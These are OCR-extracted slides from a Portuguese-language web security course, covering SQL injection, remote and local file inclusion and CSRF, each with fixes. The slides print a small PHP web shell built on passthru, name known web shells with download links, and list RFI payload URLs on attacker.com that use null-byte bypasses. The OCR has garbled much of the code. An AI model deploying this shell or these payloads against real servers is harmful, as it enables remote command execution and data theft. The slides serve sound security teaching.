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+ Revisdo da Ultima Aula
— SQL Injection e seus exemplos
« Execucao de Arquivos Remoto
— Exemplo
— Solucéo
« Referéncia a Objetos Inseguros (Local File Include)
— Acesso a Arquivos do Sistema Operacional
— Acesso a Registros Sigilosos
— (BONUS) Execucao de Comandos no Servidor
— Solucao
« Cross Site Request Forgery
— Historia (Forum Logout)
— Sites de e-Commerce
— Solucao
Concluséao
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AVISO

ATENCAO

O instrutor do curso (Maycon Maia Vitali) tdo pouco o Centro
Universitario Vila Velha nédo se responsabilizam pela ma utilizacao das
informacgdes fornecidas neste curso.

O Curso de Extensao Tecnoldgicaem Seguranca Web tem a unica
finalidade de formar profissionais aptos a desenvolver um ambiente Web
seguro, protegendo-o de ataques gque porventura viriam acontecer.

Qualquer ato ilicito ou ilegal acarretado devido a ma utilizacéo das
informacgdes apresentadas no curso serao de inteira responsabilidade do
autor, estando o mesmo completamente sujeito as mais severas
penalidades cabiveis pelalei.
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SQL Injection

« Mafiltragem dos dados fornecidos pelo usuario;
 Facilidade e dificuldades em cada SGBD diferente;

* Possibilita acesso total (ou parcial ao Banco de Dados):
— Ler (select), alterar(insert, update, delete) e executar (shutdown)

« SQL Injection vs Cross-Site-Scripting
— Caso FAB
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Exemplos Dados

* Formulario de Login
— EXxisténcia de registro
— Quantidade de reqistros
— Brute-Force de senha
— Sub-select

» Variaveis Numericas + Ajax (caso completo)
— Processo de exploracao avancado
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Execucao de Arquivos Remoto
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Caracteristicas

* Diversas protecoes por configuracao
 Alto Impacto

* Execucao de Comandos no Servidor

@ e,




Possibilidades

« Apagar Arquivos

* Instalar Programas (keyloggers, sniffers)
« Acessar Outras Paginas

» Repositorio de Arquivos (virus?)
 Utilizar o servidor como zumbi (DDoS ?)

* O que aimaginacao permitir ....
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Origem da Vulnerabilidade

 Tempo = Dinheiro

* Dilema produtividade vs qualidade
— “Se funciona nao mecha!”

* Recursos surgem para aumentar a
produtividade no desenvolvimento
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Historia (ficticia)

 No Iniclo criou-se o HTML sem recursos

— Todas as paginas deveriam ser feitas na mao
e com conteudo repetido.

e Estendeu-seo HTML

— Criacao de leiautes por frames (eca?)
— Depois vieram as tabelas

» Criacao das linguagens dinamicas
— Funcoes gue auxiliam a produtividade
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Exemplo do PHP

Include()
require()
Include_once()
require_once()

Include 2 Em caso de erro continua
require > Em caso de erro crash!

_once() 2 Apenas umavez
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E dai?

Aviso
Security warning

O arquivo remoto pode ser processado pelo servidor remoto (dependendo da extensdo do arquivo e
do fato de o servidor remoto executar o PHP ou ndo) mas ainda tem que produzir um script PHP
valido porque ele sera processado pelo servidor local. Se o arguivo do servidor remoto deve ser
processado la e apenas exibido, a funcao, readfile() &€ muito melhor para ser usada. Entretanto, um
cuidado especial deve ser tomado para se assegurar que o script remoto ird produzir um codigo
valido e desejado.

e Se 0 arquivo a ser incluido contiver codigos
PHP 0os mesmos serdo executados.
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Execucao de Arquivos Remotos

Primeiro Exemplo

Formulario de Acesso
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<) Exemplo de RFI - Mozilla Firefox

Arquivoe Editar Ewhbir Histérico Favoritos Eerramentas  Ajuda

@ - c (g I ﬂ http:fflocalhost/ataguesWWeb rfif?pagina=home

Pagina principal

‘Nulla vulputate dui eget tortor. Etiam commodo massa et justo. Sed sollicitudin.
;Pmin risus. Sed condimentum fermentum odio. Phasellus mi mi, aliquam quis, luctus;
vel, commodo ut, magna. Morbi velit sem. semper ac, hendrerit non. rhoncus a
sapien. Aenean arcu risus, thoncus ac, viverra non, accumsan et, massa. Donec ac;i
;’lea a augue varms dapibus. Nam ipsum massa, pharetra sit amet, aliquet eget.
tempus sit amet, lacus.

iSed semper neque ornare quam. Aenean non ligula in massa dignissim interdum.

Pellentesque quis mmc. Praesent elit ibero, pellentesque nec. molestie et. vehicula,
wvel, tortor. Sed sollicitudin quam sit amet munc. Suspendisse dapibus elit digﬂiﬂiitﬂi
‘dolor. Duis a magna id metus tempor porttitor. Sed elementum omare neque:
E'_"-u'[am’ii scelerisque ipsum vel lorem. In hac habitasse platea dictumst. Etiam rutrum!
ipsum non odio. Donec lacus. Mauris non elit. Proin ut urna feugiat urna 1—'&51:[buhn:rli
:r“pha:ren’a. Donec libero odio, euismod at, tempus at, lacinia vitae, arcu. Ahquam
ante tellus, commodo et. vulputate eget. posuere a. wrna. In ut nisi lobortis justo;
iau::tnr vestibulum.

Conduido
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Codigo-fonte principal

1 <?php header ("Content-type: text/html; charset=I50-8859-1;"); 7>
2 <html:
3 <head>
4 <title>Exemplc de RFI</title>
5 </head>
&
7 <body>
g <center>
9 ¢!-— Cabecalho/menu da pagina -—-
10 <?php include once "menu.php"; ?>
11
12 <!-— Parte central {(conteudo) --=x
13 <div style="width:500px; border:lpx dashed;">
14 <?php
15
16 if (isset(s_GET['pagina']l)) { #strPagina = 5 _GET['pagina'] . ".php"; }
17 else | #strPagina = "home.php"; }
1z
13
20 include $s3trPagina;r
21 =
22 </fdive
23
24 ¢!-— Bodape da pagina —-3>
25 <?php include once “"rodape.php"; >
28 </center>
27 </body>
28 </html>
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Observacoes

» E possivel notar a utilizacdo das funcdes
citadas.

« Sistema com alta produtividade
— EXx: Adicionar um novo item de menu

« O parametro de uma das funcoes include() pode
ser manipulada pelo usuario.
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Principio do Ataque

» “Toda entrada € mal-intencionada até que

se provem o contrario.”

— http://localhost/AtaquesWeb/rfi/?pagina=home - home.php
— http://localhost/AtaquesWeb/rfi/?pagina=historico —> historico.php
— http://localhost/AtaguesWeb/rfi/?pagina=contato - contato.php

— http://localhost/AtaquesWeb/rfi/?pagina=[arquivo_malefico]
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Arquivo Maléfico

[ B B T ST O U I o

o

10
11
12
13
14
15
16
17

<br />
"po3t™ "<?= & SEEVER['REQUEST TURI'] ?#>"
Comando: "text"” "cmd" "<?= & POST['cmd"]?>"
"submit" "Executar”
<hr />

<pre style="text-align:left™>

<7?php
if (5 _POST['cmd'])
{
passthru(s POSI['cmd']):
I
=
</prex

» passthru() - Executa comando e imprime
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Arquivos Maléficos Famosos

« Explorer de Arquivos, bypass de seguranca, etc

— €99.txt | http://www.hackerlar.net/c99.txt |
— 157.txt | http://www.hackerlar.net/r57.txt]
— SafeOver.txt | http://www.hackerlar.net/safeOver.txt |

« Atencao: Cuidado com trapdoors.
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Protecao Ineficiente

Blacklist

14
15
1la
17
18
13
20
21
22
23
24
23
26
27
28
29
30

< 7php

if (isset (% _GET['pagina'])) {
gatrPagina = & GET['pagina'] . ".php":
if (stristr{sstrPagina, "http://") || stristr{$atrPagina,
{

die ("Tentativa d= atadque.")r

1

} elae |
$3trPagina = "home.php":

1

include SatrPaginar
=

Ir:-tp:llll'llll'lr:l:l




Lista de Protocol Wrappers

https://www.attacker.com/cmd.txt? €< HTTPS

ftps://lwww.attacker.com/cmd.txt%00 < FTPS

ssh2.sftp://www.attacker.com/cmd.txt%00 < Fish (ssh)

\\www.attacker.com\cmd.txt%00 < Servidor Samba
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Segunda Solucao Ineficiente

Configuracao

 allow url fopen=0Off < php.ini

« Ainda assim continua vulneravel a Local File
Include (Visto na proxima secao)

@OWASP
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Solucao Eficiente

 Criar whilelist, permitindo somente caracteres validos:

1 <?php

2 functiocn ParametroValido(scValor)

3

4 falaracteresValidos = array(

= "a", "k", "c", "4, "e", ", "g", "kh", "i", "™3", "k, "1™, "m",
& "n", "o", "p", "g", ", "s", "t", ™a", "¥v", "w", "x", "y, "z",
) to®, mi™, wa", "3, ™4aw, "s5", "g", "7", "g", mav,
g E T T T R

2 [

10

171 scWValor = strtoclower(scValor);

12

13 for (51 = 0; §i <« strlen({scValor): £i++)

14 {

15 if (!'in_array(fcValor[#i], $elaracteresValidos))
1& return FALSE;

17 1

18

10 return IRUE;

20 }

21 T




Referéncia a Objetos Inseguros

Formulario de Acesso
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Principios

» Confiarem informacoes passadas pelo
usuario:
— Campos hidden
— Cookie (admin=false)

* Permite explorar quando o desenvolvedor
confilaem allow _url_fopen:

— Local File Include

@ e,




Referéncia a Objetos Inseguros

Local File Include
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Possibilidade

» Acessar Arquivos do Sistema Operacional

— Se enquadra em Information Leak

— Obter lista de usuéarios (/etc/passwd)

— Obter informacdes do servidor (Ex: /proc/*)

— Obter informacdes de configuractes (Ex: /etc/resolv.conf)

— (BONUS) Permite executar comandos (Como?)

— (AVANCADO) Permite obter senha de acesso ao servidor (NTLH Hash)
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Referéncia a Objetos Inseguros

Furo de Autenticacao
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Caracteristicas

« Confiar nos dados e em quem esta
enviando.

* Permite manipular informacoes que nao
deveriam ter acesso.

 Filtragem e verificacao somente em
consultas.

@ e,




Solucao

* Filtrar os dados do usuario, permitindo
somente o0 conjunto de caracteres validos
para o tipo de dado permitido.

 Nao criar blacklist

« “all inputisevil.....
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Cross Site Request Forgery
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Caracteristicas

« Semelhante a XSS (igual?)

* Qualguer sistema vulneravel a XSS esta
vulneravel a XSRF

 Nem toda aplicacao vulneravel a XSRF
esta também vulneravel a XSS
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Principios

* Permite alterar as informacoes enviadas ao
navegados.

« Ataque client-side
* N&o se baseia em executar codigo JS

* Se baseia em enviar requisicoes com as
credenciais do usuario para o servidor.
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Cross Site Request Forgery

Caso de Uso: Forum Logout

T4

Centro Universitario Vila Velha




Funcionamento

* Ocorria quando induzia o navegador das
vitimas a enviarem uma requisicao de
logout com suas credenciais:

« Avatar URL.: http://www.site.com/logout.php




Cross Site Request Forgery

Caso de Uso: e-Commerce
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Funcionamento

* http://localhost/AtaquesWeb/owasp4/
— lista_veiculos.php < Lista todos
— troca_propr.php < Filtro do dono

» 1) Cadastrar veiculo e definir como figura

0 veiculo que deseja
» 2) Esperar o dono acessar a listagem ©
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Solucao

* Ineficiente:
— Blacklist
— addslashes() e ineficiente para XSRF

 Eficiente:
— Evitar falhas de XSS
— Controle préoprio de tokens
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